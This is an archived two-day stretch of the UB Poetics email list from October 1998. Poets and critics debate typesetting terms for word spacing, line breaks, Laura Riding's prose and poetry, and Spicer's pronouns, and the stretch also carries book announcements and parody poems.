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> *If you want a theory of the correspondence between language and truth, there's always Wittgenstein's Tractatus. Or if you want a theory of how poetry gets in the way of truth, read Plato. (Riding) Jackson has always struck me as turgid and amateurish, though I could be wrong (as I usually am.)*
>
> *Jonathan*

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447. Harriet Zinnes
Re: CrossConnect Magazine
Wed 14 Oct 1998

---

14 October l998'

Dear Hannah

Would you be interested in a prose piece on a recent MoMa show called OBJECTS OF DESIRE? Since you are in Philadelphia, perhaps you have seen my reviews on poetry and art in the Inquirer. Last Sunday, for example, review of PORTRAITS by the art critic Kimmelman.

At any rate, perhaps you know my work: a poet, fiction writer (just published a book of short stories called THE RADIANT ABSURDITY OF DESIRE reviewed beautifully in Publishers Weekly of l7 August) and literary and art critic.

Sincerely

Harriet Zinnes

[redacted]

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448. Anastasios Kozaitis
space between words
Wed 14 Oct 1998

The word is KERNING.

Kern \Kern\, v. t. [imp. & p. p. Kerned; p. pr. & vb. n. Kerning.] (Type Founding) To form with a kern. See 2d Kern.

kerning

The process of reducing the spacing between certain pairs of letters to improve their appearance. When a font is created, each character is given a width that includes some space around it so that the letters don't run into each other when displayed or printed. This can be thought of as an invisible box around each character. Some pairs of characters such as A and V, look better if the boxes overlap slightly, bringing the characters closer together (but still not touching).

Source: Webster's Revised Unabridged Dictionary (1913) [web1913]

Kern \Kern\, n. (Type Founding)
A part of the face of a type which projects beyond the body, or shank.

Perhaps, we could look at lines breaks of a poem as the kerning of lines. Is it really all for some display purpose? I disagree with what was quoted of Pinsky. In that case, why doesn't he write prose? Let's just string all the lines together and write some prosaic doggerel? God knows, his poem in the NYRB is doggerel.

Lines, for me, are breaths. Poetry imposes a slower reading than prose. It takes a bit both physically and intellectually to read through a poem. Where one can scan a page of prose, one cannot scan a page of poetry and think that s/he will get a rich reading from the poem.

--AK

Date: Mon, 12 Oct 1998 22:27:26 PDT
From: Mark DuCharme <[redacted]>
Subject: Re: word breaks

Isn't the term pica? It's often used in the plural though, as a measurement of the space. Or is there another term?

Mark DuCharme

>is there a term, from typesetting or elsewhere, for the space between
>words? -- for that piece of space used between words in traditional
>letterpress?
>
>bill(x)marsh
>
>- - - -

At 04:17 PM 10/14/98 -0400, you wrote:
>The word is KERNING.
>
>Kern \Kern\, v. t. [imp. & p. p. Kerned; p. pr. & vb. n. Kerning.] (Type
>Founding) To form with a kern. See 2d Kern.
>
>kerning
>
>The process of reducing the spacing between certain pairs of letters to
>improve their appearance. When a font is created, each character is given
>a width that includes some space around it so that the letters don't run
>into each other when displayed or printed. This can be thought of as an
>invisible box around each character. Some pairs of characters such as A
>and V, look better if the boxes overlap slightly, bringing the characters
>closer together (but still not touching).
>
>Source: Webster's Revised Unabridged Dictionary (1913) [web1913]
>
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>
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>>- -
>- -
>>- - - -
>>William Marsh | PBrain | http://bmarsh.dtai.com
>>- -
>- -
>>- - - -
>>
>
>

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450. **Gabriel Gudding**
Re: Bernstein & the Avant-Bored
Wed 14 Oct 1998

On Wed, 14 Oct 1998, Billy Little wrote:

> *90percent of Whitman's writing is B-O-R-I-N-G, 90percent of Dickinson's writing is B-O-R-I-N-G,*
> *90percent of Ginsberg, Spicer, Whalen, the finest poets you can think of*
> *Rumi, Homer, Sappho, 90percent of their writing was boring,*

Hey, I take your point, Billy: most work boring. I wouldn't say 90% of Whitman or Dickinson is, though a good bit, yes. (75% Whitman, 45% Dickinson?)

My point however isn't about individual poets, but about schools or movements: if there is a PATTERN to the "boringness," that's a problem.

It's curious to me that so often the more boring the poet/school, the more theoretically inclined the poet/school is.

Call it Gaga's Law. Call it BS. Call it a hunch.

Man, if you're going to be boring then JUST DO IT: forget about telling the literary world why you intend to continue to be boring.

gg

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451. Hannah J Sassaman
Re: CrossConnect Magazine
Wed 14 Oct 1998

Yeah! Send it here.

Hannah

****

Hannah Jane Sassaman

School Address: Home Address:
4009 Pine St. 42 Framingham Lane
Philadelphia, PA 19104 Pittsford, NY 14534
[redacted] [redacted]

Talk not of wasted affection; affection never was wasted.
-- Henry Wadsworth Longfellow

There is no course of life so weak and sottish as that which is managed by order, method, and discipline.
-- Montaigne

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452. MAYHEW
Re: space between words
Wed 14 Oct 1998

The controversy abt the correct term for the space between words is perhaps the dullest in poetics list history, though maybe if we go on long enough it will become interesting again, who knows?

Close 2nd is discussion of line/breaks. It seems pretty obvious: Pinsky is wrong. In enjambed free verse, you got to put in a pause of however small duration (or mark the break somehow) or why are you breaking the line there? You don't have to breathe or drop the voice or count to ten. Can you imagine saying "as I

sd to my (gulp for air) friend because I am always (gulp for air) talking"? Creeley as asthmatic.

On the other hand, the fact that there is little agreement about any of this means that the line break is not effective as a convention. I remember a poetry reading by one Philip Levine, who told the audience he split his lines in two when sending poems for the New Yorker, because they paid by the line.

Jonathan

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453. **Thomas A. Vogler**
(no subject)
Wed 14 Oct 1998

I'd like to announce the publication of a special double issue of _Quarry West_ devoted to the work of Ron Silliman:

RON SILLIMAN and the ALPHABET
"E-mail Interview with Ron Silliman" (Thomas C. Marshall and Thomas A. Vogler)
"Reading Ketjak" (Ron Silliman)
"'Nevermore' than: Form, Content and Gesture in _Ketjak_" (Thomas C. Marshall)
"Education, Equality and Ethnography in _The Alphabet_" (Hank Lazer)
"Public Poetry: Ron Silliman and the Value of Writing" (Tyrus Miller)
"The Labor of Repetition" (Lytle Shaw)
"Wild Form" (Ron Silliman)
"Reading Silliman Writing" (Thomas A. Vogler)
"The Language Poet as Autobiographer" (Marjorie Perloff)
"A Possible Course: The Long Poem in the 20th Century" (Ron Silliman)
"_The Alphabet_: A Serial Poem: Sequence of publication"

I remember a thread on this list awhile back where many people expressed approval of journal issues devoted to the work of a single author, so I hope there will be interest in this attempt to make a critical and interpretive assessment of Ron's work. Members of the list can obtain copies postage free for $15.00 by writing to _Quarry West_, C/O Porter College, University of California, Santa Cruz, CA 95064. Copies also available through SPD.

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454. **james perez**
Re: space between words
Wed 14 Oct 1998

since charles.a. is the only nay-sayer, I will lend him support, between words you have wordspace or word space, sorry no fancy term...for some reason there is no need for one, in the movable type days was the space slug just called a blank? (that's what I seem to remember but not clearly)

...b/w letters you have a variety of terms: kerning (as in pair kerning), character spacing (msword6.0), tracking, etc.

jamie.p

>Date: Mon, 12 Oct 1998 17:47:39 -0700
>Reply-To: UB Poetics discussion group
<[redacted]>
>From: Charles Alexander <[redacted]>
>Subject: Re: space between words
>To: [redacted]
>
>At 04:17 PM 10/14/98 -0400, you wrote:
>>The word is KERNING.
>
>OK, but this still isn't the space between words.
>
>>
>>Kern \Kern\, v. t. [imp. & p. p. Kerned; p. pr. & vb. n. Kerning.] (Type
>>Founding) To form with a kern. See 2d Kern.
>>
>>kerning
>>
>>The process of reducing the spacing between certain pairs of letters to
>>improve their appearance.
>
>>Lines, for me, are breaths. Poetry imposes a slower reading than prose.
>
>sometimes, OK -- but have you heard Tom Raworth read? Or Miles Champion?
>Not that most people would read their work, from the page, as fast as the

>authors read it -- but it certainly wouldn't be wrong to do so. And I don't
>know that, just because something is "poetry," it "imposes" anything at all
>in terms of the reading.
>
>charles
>charles alexander :: poet and book artist :: [redacted]
>chax press :: alexander writing/design/publishing
>books by artists' hands :: web sites built with care and vision
>http://alexwritdespub.com/chax :: http://alexwritdespub.com
>

Get Your Private, Free Email at http://www.hotmail.com

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455. **Lisa Samuels**
Re: "My" Laura Riding
Wed 14 Oct 1998

---

dear jonathan, mark, et al,

for me, the two best books of riding's are =progress of stories= (1935) -- her principal, really her sole, collection of short stories -- and =anarchism is not enough= (1928), which i'm happy to say will be reprinted by the univ. of california press by this coming summer (so my editor tells me -- i wrote notes & intro for it). the latter is quite wonderful, in the vein of =guide to kulchur=, =content's dream=, and the like. both are wholly "prose."

my favorites of her poems come and go rather than being concentrated in a particular book (leaving aside the =collected=). some work in =love as love, death as death= (1928), and the outrageous blakean =the life of the dead= (1933), some work in =though gently= (1930, a kind of severe =spring and all= mix of prose and poetry), and in =poet: a lying word=, are meaningful to me as efforts toward poetry as intellectual beauty (stressing the first word) and/or a literature of embodied knowledge. hammering at words to break them open, structuring them to build something, concreting abstractions.

but i'll stand by the first-mentioned two prose works, any day. not to say they have no competition or context (eg calvino, wittgenstein, bataille). but that's not really to the point, since i presume we want to multiply rather than divide the works we find worth reading about ways of seeing.

as for riding's later works, i do find touching some of the heartfelt idealism of =the telling= (even as i find its totalizing unitarianism a bit scary and certainly impossible); but i think =rational meaning= was written by riding's spectre. except when i pretend that it's poetry, too.

as for her intrepretive screws -- put to interpreters, that is -- i figure 1/ she had some reasons to feel pissed off, but mostly 2/ she was an intransigent, cranky absolutist who could be very not nice. and isn't it a pretty common trait of 'genius' -- a category i find not terrifically useful, except perhaps in describing someone who has an extremely limited one thing they master and obsess about -- to lack common sense perspective?

and finally, she didn't denounce so much as renounce poetry, as people have pointed out in various articles. but she did not repudiate her old work. she wanted the powers of poetry to be absorbed into what she came to see as the genre-less universal language of english prose.

i'll shut up now -- i just felt moved to respond to some of these interesting remarks & queries about her work.

lisa s.

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456. **Rachel Loden**

Re: a lost Rilke translation

Wed 14 Oct 1998

Mark, I think Biff (my mute inglorious Milton) is the love child of Suzy Creamcheese and Herter Norton, so he wants to retain some of that weird inverted German spine.

Rachel

Mark Weiss wrote:
>
> Nice. But suppose the third line read "and let the girls blow chunks in the
> porcelain goddess." You get that half-rhyme gross/ goddess, which seems
> meaningful all by itself, although you lose that nifty inversion.
>
> At 09:58 AM 10/14/98 -0700, you wrote:
> >The original manuscript of Rimbaud's _Une saison en enfer_ recovered in
> >Paris, and now this, found by a custodian cleaning out lockers at Santa
> >Monica High School. Eat your heart out, Stephen Mitchell!
> >
> >
> > AUTUMN DAZE

> >
> >
> > George, it's about time. The summer was really gross.
> > Knock me unconscious with my surfboard,
> > and in the porcelain goddess let the girls blow chunks.
> >
> > Roll the last kegs into the entry hall;
> > my parents are in Rio for only two more days,
> > frontload some brewskis and throw
> > another barney into the swimming pool.
> >
> > Who has no Jeep now, will drive him one no more.
> > Who is a dweeb now, will always live at home,
> > will wake, chill, check his e-mail
> > and down the long aisles of the megamall
> > cluelessly stumble, while his zits are growing.
> >
> >
> >David Bromige wrote:
> >
> >> Fall
> >>
> >> Man, where'd the time go? Detroit?.
> >> But summer was really, really great.
> >>
> >> Stand that side of the sundial, will ya?
> >> I want to dig the shadows.
> >>
> >> Robert Duncan's freaking in the meadow.
> >>
> >> Those apples can't get a whole lot riper.
> >> Give em a couple more hot days.
> >> My friends who have the winery are already making the wine.
> >>
> >> It's getting chilly, nights. If you don't have a pad by now,
> >> Too bad. If you're not seeing someone
> >> You're likely stuck that way, they went back to school.
> >> Crack a book yourself. Write in Starbucks.
> >> Go walkabout downtown. [Time passes]. Hey, lookit
> >> the leaves, wind, etc. doing their thing. Rustle rustle.
> >> Contrast and compare yourself. Cool!

> >
> >

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457. Todd Baron /*/ ReMap
Re: OUTLAW POETRY
Wed 14 Oct 1998

[redacted] wrote:
>
> THE OUTLAW BIBLE OF AMERICAN POETRY
>
> EDITED BY ALAN KAUFMAN AND S.A.GRIFFIN

>
who broke what law?
(or who--seemingly--didn't?)

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458. Mark Weiss
Re: a lost Rilke translation
Wed 14 Oct 1998

I'd follow my heart if I were you.

At 06:16 PM 10/14/98 -0700, you wrote:
>Mark, I think Biff (my mute inglorious Milton) is the love child of Suzy
>Creamcheese and Herter Norton, so he wants to retain some of that weird
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>> >> Contrast and compare yourself. Cool!

>> >
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>
>

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459. **Sean Casey**
Impossible Object
Thu 15 Oct 1998

Announcing the fall issue of Impossible Object, Brown's online literary magazine:

http://www.brown.edu/Departments/English/Writing/object/

Check out the "Ladder of Fitness" -- my fave.

Sean

--
Box 722, Brown University
Providence, RI 02912
x6748

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460. **dbuuck**
new book by jocelyn saidenberg
Thu 15 Oct 1998

Announcing a new title from Parentheses Writing Series:

Mortal City

by Jocelyn Saidenberg

"In Saidenberg's surprising, varied universe, one may wander for many days without reaching or being allowed to enter the gates of the implicitly promised city. Or one may cease to be a "one" altogether, and develop into a plurality dedicated to rebuilding the city from the outside, as an agglomeration of texts with their own inevitabilities and generations of outcome. The rules of the game are still pending..."

-Pamela Lu, from a review in Tripwire 2 (forthcoming)

$8

available from Small Press Distribution
1341 Seventh St

Berkeley, CA 94710-1490
[redacted]

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461. **louis stroffolino**
Re: "My" Laura Riding
Thu 15 Oct 1998

It's good to see Lisa mention "Progress" and "Anarchism" AS WELL AS the poetry of the period (in contrast to, say, vendler). ... when I was considering writing my dissertation on Riding at SUNY-Albany and having a hard time putting together a committee that would be interested enough in a)a single author study of ANYBODY and b)any who shared my enthusiasm for both aspects of Riding and (Riding) Jackson's work-- I could find a shared interest with Don Byrd in Contemporaries and Snobs (1928) and The Telling (1972), but he didn't care much for the poetry. Pierre Joris kept on confusing Riding with Mina Loy when I brought her up to him (and put one of her most uncharacteristic poems in the MILLENIUM anthology). I thought the Dickensonian there (Helen Elam) might have come to appreciate what I see as clear resonances (both thematically and rhythmically) in some of the early poems, but no go. Anyway, it does seem hard to find people who appreciate the range of her work--even antagonisticaly. I do largely agree with Lisa though--that (at this point in my writing and/or life) I am more interested in the earlier work than Rational Meaning (though many of the late essays, and The Telling, are definitely worth reading---and I do think that an understanding of the poetry may benefit by reading them. There's a very interesting relationship between the "early" and "later" works, not really adequately reducible to a "post-renunciation" binary)--yet I would include FOUR UNPOSTED LETTERS TO CATHERINE (certainly as important as Rilke's letters to a young poet--though my students found it too preachy; i guess i like being preached to--sometimes, at least; depending on how it's done) and CONTEMPORARIES AND SNOBS (and early essays like "A Prophecy or a Plea" or the chapter on Shakespeare and Cummings in "A survey"-- by the way, maybe those who have problems with Riding might appreciate the early work in "FIRST AWAKENINGS" more. I think this book is certainly as good as "THE LOST LUNAR BAEDEKER" by LOY). So I wonder if Lisa's "early" vs. "late", really works-- for she, and Charles B., and others who claim to prefer the "early" Riding generally do not include this book as one of the favs. Perhaps because by the terms of C AND S, these writers (and probably myself too) would be considered "snobs"--- I should probably plug LIVES OF

WIVES too (which "our" Douglass Messerli published) and definitely THE WORD "WOMAN"-- all of these written before 1938

I guess I'll say one thing more here about the conference-- The "board" people (largely british) objected (among other things) to the theorization that was seen in the american academics' papers --yet themselves could not effectively articulate a response to these papers. So, there was a very interesting moment when "OUR" charles bernstein changed the terms, and pointed out that the "theorists" (watten, samuels, schultz, but not me) were really--or should I say also--poets, and that the "binary" that was perceived by many of the loudest voices was not really between unquestioned acceptance of (Riding) Jackson's works on one hand and a more critically antagonistic (yet academically inflected) approach on the other, but, rather, between those who would claim the later writings were "even better" than the poetry and those who were POETS--- but I would still argue that this reframing of the argument on Bernstein's part does seem to imply that one must be THEORETICALLY inflected, and privileges the "legitimizing" discourse of Zizek ETC.,by--in effect--claiming that one must be theoretically inflected in order to be a POET.

There are other ways to read this, I know. For instance, it did seem that the "antagonistic" writers did have more of a personality and that perhaps the brits took (Riding) JAckson in too dour a sense, and did not emphasize the moments in her writing--apparent even in her later writing I think--in which she isn't really asking for complete unwavering subordination to HER views. On this level, I would be very much aligned with the less "reverential" american theorist-poet-critics. But I still find many unanswered questions about the motivations of the "alternative" viewpoint that seemed to try to co-opt L(R)J into the terms of american academic discourse under the guise of defending her poetry.... It was noteworthy that nobody (myself included)--even those who claimed to be very moved by her poetry--could yet offer readings of the poems in their talks. Perhaps the framing, the myth, the FIGURE of L(R)J is still too much in the way ("Life size is too large"). I would like to see more of this at some point, and still believe that one can use Riding's, er, (Riding) Jackson's own writings AS a theoretical grid by which to read her poems (or poems by others), and I think her "crankiness" (in which I find much generous, good-natured humour by the way) is but one of many "roles" she played, in order to foster a possibility that one may have more intelligent, critical even, discussion of poetry and all forms of writing (whether literary or not) without having to constantly appeal to "legitimizing" theoretical writing. In this sense, one can see the "later" Riding Jackson IN the "earlier" poems by Riding; the poetry can also be used as a "theory" by which to read the "non-poetic" writing....

I don't know if any of this is going to be helpful to those who have not yet found pleasure or relevance or whatever in her, and I need to unpack many of these ideas further (since Riding IS daunting), but I had to at least say something more here in these email suburbs..... chris

On Wed, 14 Oct 1998, Lisa Samuels wrote:

> *dear jonathan, mark, et al,*
>
> *for me, the two best books of riding's are =progress of stories= (1935) -- her principal, really her sole, collection of short stories -- and =anarchism is not enough= (1928), which i'm happy to say will be reprinted by the univ. of california press by this coming summer (so my editor tells me -- i wrote notes & intro for it). the latter is quite wonderful, in the vein of =guide to kulchur=, =content's dream=, and the like. both are wholly "prose."*
>
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> *but i'll stand by the first-mentioned two prose works, any day. not to say they have no competition or context (eg calvino, wittgenstein, bataille). but that's not really to the point, since i presume we want to multiply rather than divide the works we find worth reading about ways of seeing.*
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> *and finally, she didn't denounce so much as renounce poetry, as people have pointed out in various articles. but she did not repudiate her old*

> *work. she wanted the powers of poetry to be absorbed into what she came to see as the genre-less universal language of english prose.*
>
> *i'll shut up now -- i just felt moved to respond to some of these interesting remarks & queries about her work.*
>
> *lisa s.*

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462. Eliza McGrand
theoretical/practical thoughts -- origin of the cliche
Thu 15 Oct 1998

---

query on originality

ok listservers, i'm throwing in for comment/analysis some thoughts i've been having on that favorite of our sujects, writing. their focal point is originality.

i got in my email what purported to be a manifesto for rebel poets. the problem, for me, with this manifesto was that it was chock-a-block with cliches. "fire in the belly" was the one i particularly remember. i simply could not reconcile the notion of being a rebel with the use of tired stale phrases in any aspect of writing -- the actual writing or the marketing/promotional/theory/criticism around it.

if you like, a query more specific than the one going on the exchanged, perceptual generia of writing from a "school," or "movement."

i get to see a very wide range of writing -- everything from amateur to polished, from formal to langpo, from traditional to so-new-it-isn't-even- a-"school." one consistency i've found is that when people don't read much (and what they DO read is generally written by similarly non-reading writers), their writing is rife with cliche -- anything from "like a moth to a flame" to "her sweet kiss" to "knows how to treat a lady." not that they are the only ones to use cliche -- more on that anon. definition: when i say cliche, i don't mean someone who takes a cliche and turns it inside out, uses it not only conscious that it is a cliche, but intentionally examining the cliche and unravelling it, as in, for example, gertrude stein, or our own alan sondheim/jennifer. no, i mean a cliche placed contextually such that it is clear it was believed by writer to be a strong personal, artistic contribution to the poem.

i know there is the lens of cultural studies, as our maria damon is very good with. and (forgive me maria if i mis-state this) in that lens, there is not, per se, the cliche so much as a phrase or word-arrangment representing something to the user, communicating something. and "originality" might in many ways be

marginal to a project of study, as in, for example, an informed, critical dissection of partridge family episodes (meant _quite_ seriously -- who does what to whom, how, and why, adn when, using what language, could be extremely informative).

while that is certainly worth factoring in, i am trying to puzzle out, more, how cliches function, what it says about the writing, the writer's thinking, the writing context being imagined and invoked. at first, and still i must admit, part of me winces, and feels inclined to dismiss the user of a cliche. it feels dishonest in a combination of ways -- 1) socially dishonest/distasteful, as in the man in the hemingway story who brags about the size of fish he claims he caught, whilst his wife, who REALLY caught the fish, listens. cheezy. bad form. 2) in scholarly way -- a form of plagiarism. use of someone's words meant to seem as if they were your own in context where specifically, one's use of words, ways with them, are what is at stake.

but i've seen cliches in the writing of more skilled writers. indeed, one of the things one does in writing workshops, i've often found, is to be a sort of cliche-screener, pointing them out as one would any other weakness in early drafts. i've learned to look for them in my own writing. and found them.

from latter experience, i developed two points of origin for the cliche: 1) when working from strong, fairly fully developed conception, one might be trying to fill in a section of plot/writing whilst simultaneously trying to hurry and get to a section several plot twists/phrases/lines on so as not to forget the bit in one's head. in that situation, one can sometimes jam in a cliche just as a sort of temporary place marker, or filler -- cliches can sum up/stand in for/remind one of fairly complex material. i've learned to mark this in some way, and go back later. otherwise, one lets the sounding/phrases of this into one's editing consciousness and it is easy to lose sight of the cliched fill-in quality. 2) you are writing from another person's phrasing/voice. specific: i found, once, when writing a technical-writing peice where i felt unsure, that i was adopting a sort of "voice of authority" cribbed out of, i later realized, documentaries on the subject. which, upon examination, were stuffed with the cliche, i.e. "in the beating heart of the sea, life, it's splendor and tragedy, goes on..." (DIDN'T use this dreadful sentence, just bring it up as typical example. NO ONE will EVER see the particular sentences -- they've been burned, and the ashes sown into fields, and buildings they were burned in razed to the ground, and hangin' was too good for 'em, sez i...

but against this background, the almost unimaginable originality, singular point-of-writing/technique/view of many extraordinary writers. for example, stein. or joyce. or niedecker. or e. bishop. or m. moore. or thomas browne, or g. herbert, or c. smart. k. acker. etc. as if the writing is so inherently

personal, distinctly arrived at, that cliche is almost impossible -- the writing is NEW, new-minted, direct from a recognizable consciousness.

unmediated? is cliche the intrusion of other into a "self" writing? the use of "other" to somehow palatiate, water down, an utterly personal -- perhaps threateningly so (to writer, or in writers perception, to other people) -- line of thought/inquir?. a calling in of "authority," of other people to bolster what feels like a moment of terrible loneliness and exposure? a temporary drift into a sort of group consciousness, or voice from out of the individual solitary of original writing? can "original" uncliched writing COME from a group?

anyway, any thoughts anyone?

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463. **louis stroffolino**
FAREWELL TOUR
Thu 15 Oct 1998

Well, it was going to be a "book tour" but the book may now not be out till afterwards....

Washington DC....
me and Jodi Bloom---Sunday Oct. 18th @3PM
DCAC--2438 18th St. NW. Washington DC 20009

Philadelphia
me and Ethel Rackin and Tom Devaney--
Sartuday Nov. 14th. Highwire Gallery. Elf's Alley and 2nd St.

New York
Matthew Rohrer and me
Monday Nov. 16th. 8PM St. MArk's Poetry Project. 8PM

New York
Sharon Mesmer and me
Monday Dec. 7th. 6pm. NO MOORE (corner of No. Moore and Broadway)

------chris stroffolino

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464. **Robert Corbett**
Re: try these experiments
Thu 15 Oct 1998

Do you also do six impossible things before breakfast?

Robert

On Wed, 14 Oct 1998, Henry Gould wrote:

> *1. Divide all your poetry into "practice work" and "poetry". Keep all your practice work at home - don't show it to anyone - make your will & designate all the practice work for the posthumous recycling bin.*
>
> *2. Establish extremely rigid, difficult & high standards for your poetry for public consumption. These should include: a) no poetry which you could not recite without embarassment to ANYONE - from Czeslaw Milosz to the families in line at the food pantry; b) no imitations: ie. no vague strings that "sound like" Ashbery or pedantic excoriations of the bad guys that quote obscure historical documents & "sound like" Pound; c) nothing too boring to read to the most acidly clever wit you know; d) nothing too classy to read before a high school audience from the trailer park; e) no poems that start with "from"; f) no poems that will not confuse, bore, and offend your own literary set.*
>
> *3. Accept the fact that the poetics list is a substitute for reading and writing poetry and "sign off" for at least 3 months.*
>
> *4. Accept the fact that in a rich materialist consumer glut empire, the concept of "anything goes" in art & poetry, the cult of over-production, is one of the prime examples of conformity all along the literary spectrum, from the fat & bloated "margins" to the complacent "mainstream". As Errol Miller puts it (in his poem in Nedge #6) "here we have hard-hitting poetry and soft judges". Once you have accepted this fact, search for a sustainable poetic economy.*
>
> *5. Do the following over a period of six months, simultaneously: 1) volunteer at your local homeless shelter & devise an employment program for laid-off workers & high school dropouts involving the production of "people's bicycles"; 2) give away all your extra clothes; 3) learn Spanish and Swedish; 4) stop using the word "aporia"; 5) ride the rails; 6) work on no more than ONE poem.*
>
> *6. When you return to your "literary" life, do the following simultaneously (absolutely NO shirking): write an article about your "people's bike" industry for your local paper; write an essay on a poet you thought you weren't going to like & still aren't sure if you do; write a letter to your Mom; work on no more than ONE poem per month in your private notebook.*
>
> *- I guarantee if you fulfill these six simple experimental assignments the literary atmosphere will clear & brighten considerably & all will be well & all manner of thing will be well & the inflated & devalued will be deflated & revalued. Amen.*
>
> *- Henry Gould*

Robert Corbett "you are there beyond/ tracings flesh can [redacted] take,/ and farther away surrounding and University of Washington informing the systems" - A.R. Ammons

↑ Index

465. **Douglas Oliver**
Re: neutral tune
Thu 15 Oct 1998

Henry writes: //maybe code was the wrong word to use. I'm thinking of something more basic & simple. My question is: if you hear a neutral music or generic quality beneath variations of performance - could it not be that you are hearing what is truly universal & generic to language itself, no matter what the language, what the dialect, etc. You are hearing the rhythm of syllables - the rhythm created when sound is broken into components & reassembled.//

I guess this is possible and find it v. interesting that Henry has this deep sense of the music. But it's what the French call a mise en abime or Poe a descent into the maelström or Mark an ur universal. The nearest attempt I know to show that intonation has universal features is Ivan Fonagy's book La Vive Voix. Ivan, a wonderful old Hungarian prof and co-worker with Jakobson, searched with a certain success for common intonation factors across European languages for expressions of joy, sorrow, etc. But I think of a story by Fee Dawson where a Fee figure in a gift shop in Japan hears a hissing noise after an obnoxious customer leaves, thinks it's the heating pipes, and realises the shopkeepers are laughing. Aristotle, as interpreted by medieval commentators, thought animals' barks and cries might be universal, but I note they don't cross species. A fledgling songbird isolated in a lab from all contact with its species song will grow up, apparently, singing a badly flawed version of the adult song. Could be genes, I guess, but do genes sing? It's the sort of thing that makes me think life more mysterious even than we suppose. Anyway, what kind of person would isolate the little birdy thing like that? Someone without a song in his/her heart.

Doug

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466. **Stephen Cope**
Re: Spicer from last night
Thu 15 Oct 1998

> *Hi, Stephen,*
>
> *Again, thank you for your thoughts & readings. Okay, as far as*

> *Actually, however, I wonder also what might happen in a reading of Spicer that deals with ocean and radio as sympathetic tropes (radio signal as that which is cast forth, like seaweed, from out of nowhere a la Cocteau). There seems a sense of ocean as primal static, a sort of undifferentiated semantic noise from which language (_Language_) is formed.*
>
> *in "Transformations," we get*
>
> *... Those*
> *Swans we saw in the garden coming out of*
> *the water we hated them. "Out of place,"*
> *you said in passing. Those swans and*
> *I (a blink in context), all out of place*
> *we hated you.*
>
> *So, what's happening here? For one thing, a reversal takes place, the "we" in the beginning of this hanging-indent stanza isn't the same "we" by the end of it. The first we "hated them"--the swans--the second we includes the swans. The I becomes a pivot. And, at the word "passing," we do pass, from one "we" to the next. But, now, Stephen, how does what you say above work with this image of swans coming out of water & hatred attached to them. Some judgment against them. And, also, judgment on the part of the swans against the others. The first hatred because the swans are seen as "out of place." The second hatred (the swans' hatred) as consequence of being "all out of place." Except, of course, this is Spicer, and when we read "Those swans and/ I (a blink in context), all out of place/ we hated you" it's another one of these great Hericlitean hinge-phrases, where, depending on the kind of emphasis you put & where you put it, the whole meaning changes. So that we can include I and be separate from I. In other words, in the final "we hated you," "we" might be "I and the swans" or "I and the 'you' in the second sentence."*
>
> *Okay, so, I'm not sure if this is what you mean when you say substratic, how the language crystalizes, and then, as you begin to really study it, breaks back down into formless liquid. But, we do get the swans coming out of the water (as far as an image in the poem), and then, more significantly, what happens as we read this thing, I mean, it's a great effect, and of course we end with "We/ Hated them." which is kinda funny since by this time "we" and "them" are everyone involved. And this comes right after the phrase "the last/ swan back in place." So, to be "in place," okay, what does that mean for Spicer? Or for his pronouns? Does it mean liquid? Formlessness? Pre-crystallization?*
>
> *Gary*

Gary,

Is this poem a meditation on deixis? To be "out of place" would then be a condition of pronominality. "I am not them," which is "the first transformation," (and the first defintion) bespeaks the differential nature of 'sign' (which is in French pronounced the same as the word for 'swan,' an old pun that Spicer may have gotten from Proust or Baudelaire). Everything's context bound, and the context's constantly shifting. Nothing is in it's place, because pronouns have no place. They are everyone's and no-one's, everywhere and nowhere.

This says little about water (or for that matter garden, which has its history as well), so I don't know how much it aides us. Nor do I really have any adequate knowledge of the strains of linguistic research that Spicer may have been following here (he published an article on linguistics, didn't he?). To clarify 'substrate,' though: I was using it cosmologically, meaning that for Thales everything was ultimately water in varying degrees of purification, and I don't see that kind of a notion being advanced on Spicer's part. Actually, beyond Anaxiamnder even, I think Heraclitus, indeed, is the figure for this, particularly given Spicer's having figured the whole poem in terms of conflict, contentiousness, "hatred," and "enemies." (But then for Heraclitus, of course, all is fire...

I'm enjoying this conversation...

Stephen

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467. **George Bowering**

Re: Berenstein & the Avant-Bored Bears

Thu 15 Oct 1998

> *if john cage said that then john cage has not seen the tv show "full house"*

What I want to know is: why would anyone here have seen it?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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468. **George Bowering**
Re: space between words
Thu 15 Oct 1998

The space between people is called just that.
The space between buildings? You got it!
What about the space between rocks? That's inter-rock space.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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469. **henry gould**
Re: neutral tune
Thu 15 Oct 1998

We still seem to be talking at cross-purposes - I'm not suggesting ur-music at all - I'm questioning your testing method. If the process of breaking sounds into syllables & reassembling them as words is universal to language, isn't it possible that this universal is disrupting your experiment? How can you say you detect a "neutral music" underlying variations in performance without taking this into account? That is all I'm saying. The process of syllable- and word-formation might establish a sort of standard rhythm for all speech, which might be what you are hearing - the sameness of the same. - Henry G.

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470. **henry g**
Re: try these experiments
Thu 15 Oct 1998

On Wed, 14 Oct 1998 23:21:40 -0700 Robert Corbett said:
>Do you also do six impossible things before breakfast?

Every poem should include at least this many impossible things.

Making light of my experimental proposals isn't difficult - certainly not impossible, especially if you take them literally, in good non-poetic fashion. Biblical literalists do it all the time. I doubt whether many have run through J. Mayhew's list of fantastic experiments either. But my point was to suggest some issues that rarely get much focus on this "innovative" list. Such as the role of the poet

as individual "social actor" or historical witness. In a literary market economy where the money lies in mysteries, thrillers, biographies, self-help books, and the rest of the mountain of conventional self-adjuster-release mechanisms, it's become an assumption that innovative or alternative poetries should just set up their own alternative networks and produce produce produce and publish publish publish and promote promote promote in ways that simply mirror the commercial sector. Whatever happened to the poet's role as political intepreter or exemplar? As outcast or participant in real events and political issues? I am not thinking so much of the "poet in prison" paradigm of various tyrannies, but of Whitman's example of the poet who insinuates him or herself into larger historical dramas (nursing the Civil War wounded), or even more pertinent, of the poet who makes the writing process consciously related to or dependent on an existential situation - the poet as reporter (can't think of an example offhand). Another aspect of this is the question of value & production - how do you compare the enormous oeuvres of contemporary poets with someone like Vallejo, for example - whose poetry is of great interest precisely because of the collision between creative innovation and existential (poor, emigre, exile, embattled) reality that is expressed throughout. What is precious about poetry if it simply mimics the mass commercial popularity & success contest - if it declines to "reach into the wound & heal it" as Mandelstam puts it (Slate Ode)? What is the value of innovation for innovation's sake? More specifically, what, if any, is its political or moral purpose? But that's a boring way to address these issues - the question is what do we value in poetry - technique, or technique justified by moral perception & commitment? Where is the ethos, the criticism of life and human ways, the wisdom? Where is the pathos of solidarity with non-literary pursuits? - Henry Gould

